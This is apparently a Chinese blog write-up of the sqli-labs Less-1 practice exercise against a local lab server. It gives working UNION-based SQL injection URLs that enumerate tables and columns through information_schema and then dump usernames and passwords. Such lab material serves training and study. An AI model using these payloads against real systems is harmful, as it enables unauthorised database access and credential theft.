sql注入练习——Less-1

1.判断是否存在注入

输入“?id=1”,发现有变化,说明存在注入
sql注入练习——Less-1_第1张图片

2.判断闭合字符,注释后面的内容

输入“ ?id=1’ ”
http://127.0.0.1/sqli-labs-master/Less-1/?id=1%27%23

3.判断列数

使用order by(排序),来判断有几列数据,随便写,先写order by 10,回显错误,则说明列数是小于5,尝试5,回显结果仍是错误的,再尝试3,到3时回显正确,说明列数为3
http://127.0.0.1/sqli-labs-master/Less-1/?id=1%27%20order%20by%203%20%23
sql注入练习——Less-1_第2张图片sql注入练习——Less-1_第3张图片

4.判断显示位

使用union联合查询判断显示位。首先先使union前面的语句为假,这样就只会显示union后面的查询结果,输入 and 1=2(因为1=2恒为假),或者 id=-1’.接着输入union后面的部分,因为union前后查询的字段数量是一样的,所以后面select就需要输入3个字段

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,2,3%23

发现,返回结果为,2,3,下面就开始真正查询数据库的各种信息了。可以看到只有第2列和第3列的结果显示在网页上,所以就只能用2,3这个位置了。但是两个位置应该是不够用的,这时就需要用到数据库的连接函数了,常用的是concat和concat_ws,其中concat_ws的第一个参数是连接字符串的分隔符。

user():返回当前数据库连接使用的用户
database():返回当前数据库连接使用的数据库
version():返回当前数据库的版本
sql注入练习——Less-1_第4张图片

爆数据库

使用连接函数group_concat(),此函数是将括号内字段的字段值以逗号作为分隔符打印在一行。
MySQL自带四个库,其中information_schema库下存放着数据库对象相关概要信息,比如字符集、引擎、数据库、数据表、视图、列、权限等,其中有重要的三个表,分别是:
(1)schemata表,存放着MySQL数据库下所有库的信息,show databases命令的结果就是来自于这个表。此表有五列,分别是:
catalog_name、schema_name、default_character_set_name、default_collation_name、sql_path,其中schema_name列存储的就是MySQL数据库下所有库的名字(爆数据库名用到此表);
(2)tables表,此表提供了关于数据库中的表的信息(包括视图),重要的两个列,一是table_schema:表所属数据库的名字,二是table_name:表的名字(爆表名就要用到此表)。
(3)columns表,此表提供了表中列的信息,详细表述了某张表的所有列以及每个列的信息,重要的三个列,一是table_schema:字段所属数据库的名字,二是table_name:字段所属数据表的名字,三是column_name:字段的名字(用此表爆字段名)。
查询我们当前所在的数据库名,我们就用此数据库来爆其他信息。
使用database()函数,查询当前数据库名称 security
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1%27union%20select%201,database(),3%20from%20information_schema.schemata%20%23

sql注入练习——Less-1_第5张图片

6、爆表名

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1%27union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27%20%23
发现这些表中有一个users表,这个表一般存放着用户的一些敏感信息,下一步我们就爆此表的字段。
sql注入练习——Less-1_第6张图片

7.爆这个表里的列

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1%27%20%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27users%27%20%23
sql注入练习——Less-1_第7张图片

爆用户名和密码

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1%27%20%20union%20select%201,group_concat(username,0x23,password),3%20from%20security.users%20%23
或者这个语句
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1%27union%20select%201,username,password%20from%20users%20where%20id=2%20%23

sql注入练习——Less-1_第8张图片

你可能感兴趣的:(sql注入练习——Less-1)